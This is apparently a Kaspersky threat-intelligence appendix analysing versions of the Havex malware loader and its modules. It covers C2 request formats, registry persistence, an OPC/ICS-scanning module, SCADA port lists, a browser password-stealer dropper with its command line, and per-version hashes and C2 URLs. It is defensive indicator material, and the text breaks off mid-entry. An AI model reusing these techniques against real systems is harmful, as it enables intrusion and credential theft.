4aca cbcf 4262 283e 3bf2 eb8f ]ly.J...Bb(>;... +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Analysis of other versions of the HAVEX loader +IMPORTANT: +For versions 03-0E, 010, 011, 015, 016, 023, 026-028, 02A-02F, +and 031-036 no samples are known at the moment. +Differences between versions +It seems there are over 50 different versions of Havex malware, internally identified by hex numbers +from 01 to 044 (the latest known at the time of writing). +Versions 01 + 019: Contain strings that may be related to password harvesting, even though the +code that would actually search for the passwords was not identified inside this component. It +possible that these strings are part of the configuration and are used by downloaded modules as +a list of names of processes that the malware wants to hijack in order to steal passwords from the +memory. +Versions 017 + 037: Instead of the GET request, send a POST request to the C2. The contents of the +POST differ between versions. +Versions 01A + 038: Check proxy settings in the registry and use them if required. +Versions 01B + 044: Use an asymmetric crypto algorithm (RSA) to decrypt the downloaded +binaries. (Previous versions use simple XOR based encryption). +Versions 020 + 025: Check the Internet connection by trying to connect to google.com: +CONNECT google.com:80 HTTP/1.0 +Collect system information, write it to *.yls file. Later, append these contents to the POST request +string. + Collected information includes: + Unique system ID + Username + Computer name + Country + Language + Current IP + List of drives + Default Browser +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Running Processes +Proxy Setting +User Agent +Email Name +BIOS version and date +Lists of files and folders (non-recursive) from the following paths: +C:\Documents and Settings\%User%\Desktop\*.* +C:\Documents and Settings\%User%\My Documents\*.* +C:\Documents and Settings\%User%\My Documents\Downloads\*.* +C:\Documents and Settings\%User%\My Documents\My Music\*.* +C:\Documents and Settings\%User%\My Documents\My Pictures\*.* +C:\Program Files\*.* +Root directory of all fixed and removable drives. +Version 025: Contains a debugging symbols path, which may suggest that the project was internally +called +PhalangX +d:\Workspace\PhalangX 3D\Src\Build\Release\Phalanx-3d.ServerAgent.pdb +Version 038 + 040: Does not contain the routine that collects system info, yet the malware checks +for potential previously created *.yls files, and appends the content of them to the POST request. +Instead of values hardcoded in the binary, this is a first version to use a resource to store encrypted +config. Detailed analysis of this version is included in this appendix. +Version 043 + 044: Size similar to 037 and earlier versions; dll name is now 0XX.dll (where XX is +version number), the value in config is now 29 bytes long. +Features common across multiple versions +EXPORTS: +RunDllEntry, runDll (all versions) +INJECT TO: +Explorer.EXE (all versions) +REG VALUES CREATED: +[HKLM|HKCU]\Software\Microsoft\Windows\CurrentVersion\Run +TMP provider +rundll32 %TEMP%\TMPprovider0XX.dll, runDll +[HKLM|HKCU]\Software\Microsoft\Internet Explorer\InternetRegistry +fertger + = (all versions) +TLP: Green +For any inquire please contact intelreports@kaspersky.com +FILES CREATED: +\TMPprovider0XX.dll (versions <= 040) +%TEMP%\*.xmd (all versions) +%TEMP%\*.yls (ver 01A - 044) +%TEMP%\qln.dbx (ver 038 - 044) +PIPES: +\\.\pipe\mypype-f0XX (ver 01 - 025) +\\.\pipe\mypype-g0X (ver 01 & 02) +\\.\pipe\mypipe-f0XX (ver 029 - 038) +\\.\pipe\mypipe-h0XX (ver 029 - 038) +STRINGS: +(all versions) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) +AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.36 +Safari/525.19 +(ver 01 - 030) +havex +1312312 +(ver 0F, 012, 014, 018) +Phalanx-3d.Agent.dll +(ver 01A - 038) +User +Password +BUTTON +(ver 01B - 030) +AATXn+MiwLu+xCoMG7SqY1uQxAk1qLdyoED9LxIVQr2Z/gsrHIsgTvK9AusdFo+9fzAxf1zXj42880+kUmktmVb +5HSYi8T27Q54eQ4ZLUFKPKZstgHcwPVHGdwpmmRmk09fL3KGd9SqR60Mv7QtJ4VwGDqrzOja+Ml4SI7e60C4qDQ +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB +(ver 029 - 038) +w1RWs6ejexm8wgqEpulkkESs9xmLQoiY8j/ldzNJ/fPj9t+taxYg6Vo0WgP0u0Me82TuCMxmU+Pcj44c8zP5xOe +v4F097r5+saRutxj/Lmnr2AIgDqfM14GNHBQxmRQ3v0Swz6A+5zaMIqQX/13dWF1seQtKysvPQmIoPjvy648= +(ver 020 - 025) +2003 +Vista +UserName +ComputerName +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Control Panel\International\ +sCountry +Country +sLanguage +Language +Control Panel\International\Geo\ +Nation +Not connected +Dial-up +LAN Connection +InetInfo +CurrentIP +- Removable +- Fixed +- Remote +- CDROM +- Ramdisk +Drive +http\shell\open\command +.exe +DefaultBrowser +ListProcess +data64 +HARDWARE\DESCRIPTION\System +BiosReg +Desktop +MyDocs +ProgFiles +CONNECT google.com:80 HTTP/1.0 +Proxy-Authorization:Basic +google.com +GET / HTTP/1.1 +Host: google.com +(ver 025) +Phalanx-3d.ServerAgent.dll +d:\Workspace\PhalangX 3D\Src\Build\Release\Phalanx-3d.ServerAgent.pdb +(ver 029 & 030) +5265882854508EFCF958F979E4 +(ver 024, 029 - 038) +&v1= +TLP: Green +For any inquire please contact intelreports@kaspersky.com +&v2= +(ver 037 & 038) +MTMxMjMxMg== +(ver 038 - 044) +21f34 +(ver 043 - 044) +04X.dll (instead of TmpPorvider0XX.dll) +C2 communication +Versions < 01B: +GET request format: +id=- +Example + id=1812102418169072044901A0FED0014-170393861 +Versions 01B - 025: +GET request format: +Example: +id=--- +id=228711719898841835201A0FDC0-3-021-170393861 +Versions 029 - 044: +POST request format: +id=-&v1=&v2=& +q= +Examples: +id=28805135293025919409009AFDA8-25&v1=038& +v2=170393861&q=5265882854508EFCF958F979E4 +id=21893020302943319666009AFD80-6d3aef9f2cf3ca9273631663f484a&v +1=044&v2=170393861&q=35a37eab60b51a9ce61411a760075 +Examples of values: +version 01B +version 01C +version 01D +1, 2 +version 01E +version 01F +1, 2, 3, 0 +version 020 +3, , 0 +version 021 +3, +version 022 +3, , 12 +version 024 +13, 16, 1, 31, 61, 3, 3x1, 4, 12 +version 025 +x1, +TLP: Green +For any inquire please contact intelreports@kaspersky.com +version 029 +version 030 +version 031 +1, 3 +ver 031,035,036 +1, 6, 13, 33, 20, 25, 3x1 +version 037 +version 038 +25, 20, 1, 13,891062d5c51294011447f8168 +bc4437c +version 040: +eb383a9a8e7a4ef5283f2f48a5cd6 +version 043: +e4d935d271cfb6927d29c74c39558 +c8a7af419640516616c342b13efab +version 044: +6d3aef9f2cf3ca9273631663f484a +Downloadable modules +Main characteristics: +DLL files that collect assorted information +Downloaded by the main Havex module +Stored in %TEMP%\*xmd files in an encrypted form +Decrypted and executed by Havex loader +Each module contains config stored as a resource +Config data is compressed with bzip2 and xored with a constant value 1312312, which is +hardcoded in the binary in base64 form +Config data includes 29-byte UID, 344-byte encryption key and sometimes some other info (like +nk2 file path in case of outlook module) +Most of them write harvested data into the %TEMP%\*.yls files, which are then sent to the C2 +by the main Havex DLL +Data written to *.yls files is compressed with bzip2 and encrypted with the key from the config +Encryption used for log encryption is 3DES. Each analyzed module contains the string: +Copyright (c) J.S.A.Kapp 1994 - 1996. +which is related to R_STDLIB.C file (platform-specific C library routines for RSAEURO crypto +library) +OPC modules +SHA-256: +Size: +Compiled: +7933809aecb1a9d2110a6fd8a18009f2d9c58b3c7dbda770251096d4fcc18849 +251392 +Fri, 11 Apr 2014 05:39:10 UTC +SHA-256: +004c99be0c355e1265b783aae557c198bcc92ee84ed49df70db927a726c842f3 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Size: +Compiled: +251392 +Fri, 16 May 2014 08:42:28 UTC +SHA-256: +Size: +Compiled: +6aca45bb78452cd78386b8fa78dbdf2dda7fba6cc06482251e2a6820849c9e82 +251392 +Fri, 16 May 2014 08:42:28 UTC +Detailed analysis +All currently known samples are completely identical in terms of code and differ only in the content +of the resource. +Code flow: + Decrypt config +Config consists of RSA ID (29 bytes) and RSA key (1024 bit) and is stored inside resource TYU +0215 (bzip compressed and xored with +1312312 +39ee448cf196304cfe9c6b1c2e436 +AATFfxXmUZl/j8JBAwHkk8BcwTIKDcex+0GQp/V9EX4nt64NGsGsTXFhuorwjKCRt6Av3v+hB+gT9mAP9kqY +3TnN1x+MUHaoib1dw8SG9mW5YL+JNu3Kwud/bYGu916U/EGh8PFGruVE2PHXD8EII710gKm00lyi5+Ehjn5C +SLLPKwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAQAB + Create lock file in %TEMP%\{rand}.tmp (empty) + Create debug log in %TEMP%\{rand}.tmp.dat +Programm was started at %02i:%02i:%02i +%02i:%02i:%02i.%04i: +************************************************************************** +Start finging of LAN hosts... +Finding was fault. Unexpective error +Was found %i hosts in LAN: +Hosts was +t found. +Start finging of OPC Servers... +Was found %i OPC Servers. +%i) [\] +TLP: Green +For any inquire please contact intelreports@kaspersky.com +CLSID: + +UserType: + +VerIndProgID: + +OPC version support: <[+|-][+|-][+|-]> +OPC Servers not found. Programm finished +Thread %02i return error code: +Start finging of OPC Tags... +%i)[%s\%s] +Saved in +OPCServer%02i.txt +%i)[%s] (not aviable) +Thread %02i was terminated by ThreadManager(2) +Thread %02i running... +Thread %02i finished. + Look for LAN resources using Windows Networking COM objects: +WNetOpenEnumW +WNetEnumResource + For each resource found, create a thread which checks if it +s an OPC server & gets detailed OPC +information using the following interfaces: +IID_IOPCEnumGUID +{55C382C8-21C7-4E88-96C1-BECFB1E3F483} +IID_IOPCServerList +{13486D51-4821-11D2-A494-3CB306C10000} +IID_IOPCServerList2 +{9DD0B56C-AD9E-43ee-8305-487F3188BF7A} +IID_IOPCServer +{39C13A4D-011E-11D0-9675-0020AFD8ADB3} +IID_IOPCBrowse +{39227004-A18F-4B57-8B0A-5235670F4468} +IID_IOPCBrowseServerAddressSpace +{39C13A4F-011E-11D0-9675-0020AFD8ADB3} +IID_IOPCItemProperties +{39C13A72-011E-11D0-9675-0020AFD8ADB3} +CATID_OPCDAServer10 +{63D5F430-CFE4-11D1-B2C8-0060083BA1FB} +CATID_OPCDAServer20 +{63D5F432-CFE4-11D1-B2C8-0060083BA1FB} +CATID_OPCDAServer30 +{CC603642-66D7-48F1-B69A-B625E73652D7} +and writes collected info to the OPCServer.txt file: +<%s> (Type=%i, Access=%i, ID= +OPC Server[%s\%s] v%i.%i(b%i) +Server state: %i +Group count value: %i +Server band width: %08x +TLP: Green +For any inquire please contact intelreports@kaspersky.com + Compress all info with bzip2 and encrypt using a random 192 bit (168 effective) 3DES key + Save encrypted data to %TEMP%\{rand}.yls file + *.yls files are then collected by the main Havex module and sent to C2. +Outlook module +SHA-256: +Size: +Compiled: +0859cb511a12f285063ffa8cb2a5f9b0b3c6364f8192589a7247533fda7a878e +261120 +Wed, 07 May 2014 13:22:21 UTC +This module looks for outlook.nk2 files, gets the contact data from inside them and writes it to the +*.yls file. Data is as always bzip2 compressed and 3DES encrypted. Config is stored in the resource +HYT 017D (bzip2 compressed and encrypted with same xor key as always). Config consists of an RSA +key ID (29 bytes), base 64 bit encodedRSA key (1024 bit) and nk2 file path (39 bytes). +outlook.nk2 is the file where Outlook <= 2007 stores contacts details in order to use them in its +AutoComplete feature. +Config from resource HYT 017D: +3e5bad153e3c3ee1b735f1926ba57 +AATiBnMKBUxUwXUCXp4+ztY4nCTylL6KRsk6x44SgKDDNdQ9VB7UC86fQVLZOjpc2bdgFxi5tegJEE3SfZvQYJ1 +PQ0s1zXh4xdXQxyEqllgGdaAcEOoM3dXCkQatFFYQ8pscbFkdLDrt/sWnbUTq2/KY8eCfW2QPhWgj7p8v6Cov1Q +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB +%APPDATA%\microsoft\outlook\outlook.nk2 +Sysinfo module +SHA-256: +Size: +Compiled: +f4bfca326d32ce9be509325947c7eaa4fb90a5f81b5abd7c1c76aabb1b48be22 +400896 +Wed, 07 May 2014 13:19:41 UTC +This module collects the same type of information about the system as Havex versions 020 - 025. +This functionality is not present in versions >=026 - it was probably moved into this separate +module around that time. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Config in stored in resource WRT 2AF (xored with +1312312 + and bzip2 compressed) +8900adffc5180c10d463530e3753a +AASjl8ZrgVvtb1XSXJgu6x1ZPjY32KQ9iyj+cQZpJgp/H+GhPdItvu10pBcgwIkc2uO2iYSJzXqfZAlS2fS9+W9 +y1Xq/7lKuVJEeQC4vgn8EsTmzj4vLWV+oZOOJHrrv37YkXO6QGnFgREyLTLjnfnrTaoWg9pd6dkeC4yHEC7K8HQ +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB +Network scanner module +SHA-256: +Size: +Compiled: +2120c3a30870921ab5e03146a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850 +223232 +Tue, 29 Oct 2013 06:09:14 UTC +This module is used to decrypt and execute the binary that comes in the resource. The EXE file is +saved in %TEMP%\.exe and run using ShellExecuteExW. +Besides the binary, resource HAJ 3A0 contains hex string: 30 0A 30 0A 34 38 36 34 30 0A +3rd stage tool: network scanner +SHA-256: +Size: +Compiled: +9a2a8cb8a0f4c29a7c2c63ee58e55aada0a3895382abe7470de4822a4d868ee6 +48640 +Wed, 06 Nov 2013 11:27:38 UTC +This PE EXE file was dropped and run by EXE dropper module (2120c3a30870921ab5e0314 +6a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850). Its main functionality is to scan the local +network looking for machines listening on specified ports. All information is logged into a +%TEMP%\~tracedscn.yls file in plain text. + List of port numbers hardcoded in the binary: +.data:0040CDB0 port_list +dd 0AF12h +; port 44818, used by Rslinx +dd 1F6h +; port 502, used by Modbus / Modicon PLC +dd 66h +; port 102, used by Siemens PLC +dd 2BE2h +TLP: Green +; port 11234, used by Measuresoft ScadaPro +For any inquire please contact intelreports@kaspersky.com +dd 3071h +; port 12401, used by 7-Technologies IGSS SCADA + Example content of log file: +[!]Start +[+]Get WSADATA +[+]Local: 192.168.56.11 +No available ports Host: 192.168.56.1 +No available ports Host: 192.168.56.51 +No available ports Host: 192.168.56.151 +No available ports Host: 192.168.56.201 +No available ports Host: 192.168.56.101 +No available ports Host: 192.168.56.2 +No available ports Host: 192.168.56.152 +No available ports Host: 192.168.56.52 +(...) + Error related strings: +[-]Can not get local ip +[-]Threads number > Hosts number +[-]Can not create socket: +[-]Connection error +[!]End +PSW dropper module +SHA-256: +size: +compiled: +71e05babc107f5e52f1a4c3ea6261c472d2649c0b179395304c420eaa54e2062 +1427968 +Mon, 09 Jul 2012 07:38:11 UTC +This module is used to decompress (bzip2) and drop a password dumping tool from resource DLL1 +A8 409 to %TEMP%\bp.exe and run it with the following command: +%TEMP%\bp.exe %TEMP%\~tmp1237.txt +Saved log is then copied to %TEMP%\.tmp.yls file. +3rd stage tool: password stealer +SHA-256: +size: +TLP: Green +cb5341eac0476a4c2b64a5fe6b8eb8c5b01b4de747524208c303aba6825aef1d +2988544 +For any inquire please contact intelreports@kaspersky.com +compiled: +Thu, 02 Feb 2012 09:50:29 UTC +This file was dropped and executed by the PSW dropper module (71e05babc107f5e52f1a4c3ea6261 +c472d2649c0b179395304c420eaa54e2062). +This is a customized (?) version of BrowserPasswordDecryptor 2.0 - a free password recovery tool, +developed by SecurityXploded: +hxxp://securityxploded.com/browser-password-decryptor.php +Description from the developers + website: +Browser Password Decryptor is the FREE software to instantly recover website login passwords stored by +popular web browsers. +Currently it can recover saved login passwords from following browsers: + Firefox + Internet Explorer + Google Chrome + Google Chrome Canary/SXS + CoolNovo Browser + Opera Browser + Apple Safari + Comodo Dragon Browser + SeaMonkey Browser + SRWare Iron Browser + Flock Browser +Features: +Instantly decrypt and recover stored encrypted passwords from popular web browsers. +Right Click Context Menu to quickly copy the password +Recover password of any length and complexity. +Automatically discovers all supported Applications and recovers all the stored passwords. +Sort feature to arrange the recovered passwords in various order to make it easier to search through +s of entries. + Save the recovered password list to HTML/XML/Text/CSV file + Easier and faster to use with its enhanced user friendly GUI interface. + Support for local Installation and uninstallation of the software. +Example of file content: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +************************************************* +Browser Password Recovery Report +************************************************* +Password List +*********************************************************************************** +Browser: +Firefox +Website URL: https://accounts.google.com +User Login: mygmail +Password: gmailpassword +-----------------------------------------------------------------------------------Browser: +Firefox +Website URL: https://www.facebook.com +User Login: myfacebook@example.com +Password: ihatefacebooksomuch +-----------------------------------------------------------------------------------Browser: +Opera +Website URL: https://twitter.com +User Login: mytwitter321 +Password: mypassword123 +-----------------------------------------------------------------------------------Browser: +Opera +Website URL: https://login.yahoo.com +User Login: yahaccount +Password: yahpwd +------------------------------------------------------------------------------------ +____________________________________________________________________________________ +Produced by BrowserPasswordDecryptor from http://securityxploded.com/browser-passworddecryptor.php +Log Encryption In Modules +Each module is capable of creating a log file (.yls) which is encrypted and stored on disk. The +encryption library used by the modules (as well as the most recent versions of Havex) is handled by +TLP: Green +For any inquire please contact intelreports@kaspersky.com +the RSAeuro library. They recompiled the library several times using different compiler settings and +optimization (depending of modules/Havex) which makes fingerprinting the functions a bit tedious. +Once the log has been compressed using bzip2, the modules use the library to generate a random 192 bit +3DES key (168 bit effective) and a 64 bit Initialization Vector. The function used to do so is R_GenerateBytes +which is using the MD5 algorithm previously seeded by the R_RandomCreate function (Also using MD5): +Once the key and the IV have been generated, the 3DES algorithm is initialized: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Once 3DES is initialized, the next step is to RSA encrypt the 3DES KEY using the RSAPublicEncrypt +function. It is essentially creating the PKCS #1 padding block around the key and then calling the +rsapublicencrypt function. +Example of a layout where 0x42 is the PKCS#1 padding block and 0x41 the 3DES key (original +values overwritten for clarification purpose): +The rsapublicencrypt is basically a wrapper to various big num functions used to compute RSA: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +N parameter in one sample: +The E parameter is the standard 0x10001 +After the 3DES key is encrypted using RSA, the log files are encrypted. +The final encrypted log file layout looks like the following: (important parameters overwritten for +clarity): +The YLS file format can be described as follows: + SIZE OF RSA Identifier: 0x29 in the figure above + RSA ID: +39ee448cf196304cfe9c6b1c2e436 +. (Used by attackers to identify which RSA key was +used to encrypt the 3DES Key. + BLOCKSIZE: 128 bytes (24 bytes from 3DES key and 104 from PKCS padding block) + ENCRYPTED 3DES KEY : In yellow on the figure above, replaced by + 3DES Initialization Vector: In red on the figure above, replaced by +. Mandatory to decrypt +logs. + 3DES ENCRYPTED LOG bytes +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Only the attackers can decrypt such a log file. They can identify which Public RSA Key was used +from the identifier, and decrypt the 3DES key using their Private RSA Key. From there, they can use +the 3DES Key and the Initialization Vector which is present in clear form to decrypt the log file. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Havex sample details by version +HAVEX version 01 +SHA-256: +170e5eb004357dfce6b41de8637e1dbeb87fa58e8b54a2031aac33afb930f3c8 +Size: +226304 +Compiled: Wed, 28 Sep 2011 07:36:00 UTC +C2 urls: +onemillionfiles.com/server_package/system/application/controllers/list.php?id= +www.autoyoung.com/system/ext/Smarty/plugins/function.search.php?id= +HAVEX version 02 +SHA-256: +Size: +Compiled: +b647f883911ff20f776e0a42564b13ef961fa584ebd5cfce9dd2990bca5df24e +226304 +Wed, 28 Sep 2011 02:15:23 UTC +SHA-256: +Size: +Compiled: +fb30c3bb1b25b3d4cca975f2e0c45b95f3eb57a765267271a9689dd526658b43 +226304 +Wed, 28 Sep 2011 04:09:41 UTC +SHA-256: +Size: +Compiled: +6606dd9a5d5182280c12d009a03b8ed6179872fcb08be9aa16f098250cc5b7a7 +226304 +Wed, 28 Sep 2011 07:37:30 UTC +C2 URLs: +(common for all samples above) +onemillionfiles.com/server_package/system/application/controllers/list.php?id= +www.autoyoung.com/system/ext/Smarty/plugins/function.search.php?id= +HAVEX version 0F +SHA-256: +Size: +Compiled: +7c1136d6f5b10c22698f7e049dbc493be6e0ce03316a86c422ca9b670cb133aa +401456 +Thu, 27 Oct 2011 07:32:55 UTC +SHA-256: +Size: +Compiled: +SHA-256: +Size: +4ff5f102f0f1284a189485fc4c387c977dd92f0bc6a30c4d837e864aed257129 +400384 +Thu, 27 Oct 2011 07:32:55 UTC +bacac71fcc61db9b55234d1ccf45d5fffd9392c430cdd25ee7a5cea4b24c7128 +401527 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Compiled: +Thu, 27 Oct 2011 07:32:55 UTC +C2 URLs: +atampy.com/wordpress/wp-includes/pomo/dx.php?id= +www.intellbet.com/_lib/db_simple/Mysqli.php?id= +www.activateav.com/wp-includes/pomo/dx.php?id= +HAVEX version 012 +SHA-256: +Size: +Compiled: +0c20ffcdf2492ccad2e53777a0885c579811f91c05d076ff160684082681fe68 +400384 +Thu, 27 Oct 2011 11:38:42 UTC +SHA-256: +Size: +Compiled: +31db22caf480c471205a7608545370c1b3c0c9be5285a9ef2264e856052b66b4 +401519 +Thu, 27 Oct 2011 11:38:42 UTC +SHA-256: +Size: +Compiled: +56a1513bcf959d5df3ff01476ddb4b158ce533658ab7d8dd439324b16f193ac2 +401519 +Thu, 27 Oct 2011 12:02:20 UTC +C2 URLs: +atampy.com/wordpress/wp-includes/pomo/dx.php?id= +www.intellbet.com/_lib/db_simple/Mysqli.php?id= +www.activateav.com/wp-includes/pomo/dx.php?id= +HAVEX version 013 +SHA-256: +9517a412633b8ebeac875a2da7fe119b72efad62859dc1719b84d561792a9033 +Size: +401519 +Compiled: Thu, 27 Oct 2011 11:41:14 UTC +C2 URLs: +atampy.com/wordpress/wp-includes/pomo/dx.php?id= +www.intellbet.com/_lib/db_simple/Mysqli.php?id= +www.activateav.com/wp-includes/pomo/dx.php?id= +HAVEX version 014 +SHA-256: +Size: +Compiled: +SHA-256: +Size: +TLP: Green +02e5191078497be1e6ea8bac93b6cfb9b3ee36a58e4f7dd343ac1762e7f9301e +402543 +Mon, 07 Nov 2011 09:40:37 UTC +d755904743d48c31bdff791bfa440e79cfe1c3fc9458eb708cf8bb78f117dd07 +401408 +For any inquire please contact intelreports@kaspersky.com +Compiled: +Mon, 07 Nov 2011 09:40:37 UTC +SHA-256: +Size: +Compiled: +65a4332dfe474a8bb9b5fa35495aade453da7a03eb0049211e57b5660d08d75c +401408 +Mon, 07 Nov 2011 09:40:37 UTC +SHA-256: +Size: +Compiled: +60f86898506f0fdf6d997f31deff5b6200a6969b457511cc00446bd22dd1f0a4 +401408 +Mon, 07 Nov 2011 09:40:37 UTC +C2 URLs: +7adharat.com/forum/includes/search/index_search.php?id= +wmr.ueuo.com/advertisers/TEMP/dbaza.php?id= +www.insigmaus.com/wp-includes/pomo/dx.php?id= +www.soluciones4web.com/wp-includes/pomo/dx.php?id= +HAVEX version 017 +SHA-256: +bcdcb4b5e9aaaee2c46d5b0ed16aca629de9faa5e787c672191e0bdf64619a95 +Size: +401968 +Compiled: Fri, 02 Dec 2011 14:07:10 UTC +C2 URLs: +hq.mission1701.com/include/plugins/search.php?id= +iclt.am/style/default/search.php?id= +joomware.org/modules/mod_search/search.php?id= +SHA-256: +Size: +Compiled: +ee53e509d0f2a3c888232f2232b603463b421b9c08fe7f44ed4eead0643135d3 +399494 +Fri, 02 Dec 2011 14:14:05 UTC +SHA-256: +Size: +Compiled: +646c94a0194ca70fbe68c444a0c9b444e195280f9a0d19f12393421311653552 +398532 +Fri, 02 Dec 2011 14:14:05 UTC +C2 URLs: +nsourcer.com/modules/menu/menu.php?id= +www.onehellofaride.com/wp-includes/pomo/dsx.php?id= +tripstoasia.com/wp-content/plugins/idx.php?id= +SHA-256: +Size: +Compiled: +TLP: Green +2efd5355651db8e07613e74b1bf85b50273c1f3bce5e4edbedea0ccdff023754 +400434 +Sat, 03 Dec 2011 05:47:06 UTC +For any inquire please contact intelreports@kaspersky.com +SHA-256: +Size: +Compiled: +aafbf4bba99c47e7d05c951ad964ce09493db091ba5945e89df916c6fa95d101 +399154 +Sat, 03 Dec 2011 05:47:06 UTC +SHA-256: +Size: +Compiled: +837e68be35c2f0ab9e2b3137d6f9f7d16cc387f3062a21dd98f436a4bcceb327 +398918 +Sat, 03 Dec 2011 05:47:06 UTC +SHA-256: +abdb2da30435430f808b229f8b6856fafc154a386ef4f7c5e8de4a746e350e0c +Size: +394206 +Compiled: Sat, 03 Dec 2011 05:47:06 UTC +C2 URLs: +serviciosglobal.com/inc/search.php?id= +theluvsite.com/modules/search/src.php?id= +HAVEX version 018 +SHA-256: +a2fe7a346b39a062c60c50167be7dd4f6a8175df054faa67bff33ec42b1072d9 +Size: +401968 +Compiled: Sat, 03 Dec 2011 05:55:08 UTC +C2 URLs: +motahariblog.com/core/date/date.php?id= +www.rscarcare.com/modules/Manufacturers/source.php?id= +roxsuite.com/modules/mod_search/mod_search.src.php?id= +SHA-256: +ce99e5f64f2d1e58454f23b4c1de33d71ee0b9fcd52c9eb69569f1c420332235 +Size: +401408 +Compiled: Thu, 10 Nov 2011 06:11:50 UTC +C2 URLs: +productosmiller.com/includes/modules/iddx.php?id= +sabioq.com/Connections/_notes/dxml.php?id= +vamcart.com/modules/system/blocks/system.php?id= +jo.contrasso.com/chief-cooker/tiny_mce/plugins/searchreplace/edit.php?id= +SHA-256: +e73f8b394e51348ef3b6cea7c5e5ecc2ee06bb395c5ac30f6babb091080c1e74 +Size: +402543 +Compiled: Wed, 09 Nov 2011 10:51:51 UTC +C2 URLs: +www.expathiring.com/generator/pages/page-index.php?id= +ijbeta.com/wp-includes/pomo/dx.php?id= +goandgetstaffed.com.au/system/modules/miscellaneous/_index.php?id= +insurancelower.com/tareas/include/_php.php?id= +HAVEX version 019 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +SHA-256: +8d343be0ea83597f041f9cbc6ea5b63773affc267c6ad99d31badee16d2c86e5 +Size: +401968 +Compiled: Fri, 02 Dec 2011 13:46:14 UTC +C2 URLs: +pekanin.freevar.com/include/template/isx.php?id= +randallweil.com/cms/tinymce/examples/access.php?id= +shwandukani.ueuo.com/modules/mod_search/mod_research.php?id= +SHA-256: +0850c39a7fcaa7091aaea333d33c71902b263935df5321edcd5089d10e4bbebb +Size: +400896 +Compiled: Fri, 02 Dec 2011 14:05:30 UTC +C2 URLs: +hq.mission1701.com/include/plugins/search.php?id= +iclt.am/style/default/search.php?id= +joomware.org/modules/mod_search/search.php?id= +SHA-256: +e029db63346c513be42242e268559174f6b00d818e00d93c14bd443314f65fe5 +Size: +400896 +Compiled: Fri, 02 Dec 2011 14:17:40 UTC +C2 URLs: +nsourcer.com/modules/menu/menu.php?id= +www.onehellofaride.com/wp-includes/pomo/dsx.php?id= +tripstoasia.com/wp-content/plugins/idx.php?id= +HAVEX version 01A +SHA-256: +Size: +Compiled: +f65d767afd198039d044b17b96ebad54390549c6e18ead7e19e342d60b70a2c3 +406445 +Fri, 09 Dec 2011 10:30:42 UTC +SHA-256: +Size: +Compiled: +698ec413986dc7fc761b1a17624ffffb1590902020b9d0cd5d9a6013c67d9100 +402173 +Fri, 09 Dec 2011 10:30:42 UTC +SHA-256: +Size: +Compiled: +Notes: +022da314d1439f779364aba958d51b119ac5fda07aac8f5ced77146dbf40c8ac +408277 +Fri, 09 Dec 2011 10:30:42 UTC +file is corrupted +SHA-256: +Size: +Compiled: +b8f2fdddf7a9d0b813931e0efe4e6473199688320d5e8289928fe87ce4b1d068 +402609 +Fri, 09 Dec 2011 10:30:42 UTC +TLP: Green +For any inquire please contact intelreports@kaspersky.com +SHA-256: +Size: +Compiled: +4f3ceab96fb55d0b05380a1d95bb494ca44d7a9d7f10ded02d5b6fc27c92cb05 +409042 +Fri, 09 Dec 2011 10:30:42 UTC +SHA-256: +Size: +Compiled: +7081455301e756d6459ea7f03cd55f7e490622d36a5a019861e6b17141f69bd0 +405517 +Fri, 09 Dec 2011 10:30:42 UTC +C2 URLs: +chimesy.com/kurdish/modules/Statistics/source.php?id= +newdawnkenya.com/modules/mod_search/src.php?id= +www.cubasitours.com/htmlMimeMail5/ejemplo/source.php?id= +SHA-256: +bb3529aa5312abbee0cfbd00f10c3f2786f452a2ca807f0acbd336602a13ac79 +Size: +409136 +Compiled: 2011-12-09 11:47:50 +C2 URLs: +geointeres.com/engine/modules/source.php?id= +ojoobo.com/modules/forum/forum-source.php?id= +www.prosperis.com/cms/sections/source.php?id= +HAVEX version 01B +SHA-256: +Size: +Compiled: +Notes: +8da93bc4d20e5f38d599ac89db26fc2f1eecbf36c14209302978d46fc4ce5412 +2031109 +Tue, 13 Dec 2011 06:14:15 UTC +Corrupted / nested file +SHA-256: +Size: +Compiled: +224e8349ba128f0ab57bdebef5287f4b84b9dccbc2d8503f53f6333efd5f9265 +422871 +Tue, 13 Dec 2011 06:14:15 UTC +C2 URLs: +ytu.am/modules/mod_search/source.php?id= +tallhoody.com/wp-includes/pomo/idx.php?id= +www.prosperis.com/cms/email/mail.php?id= +HAVEX version 01C +SHA-256: +Size: 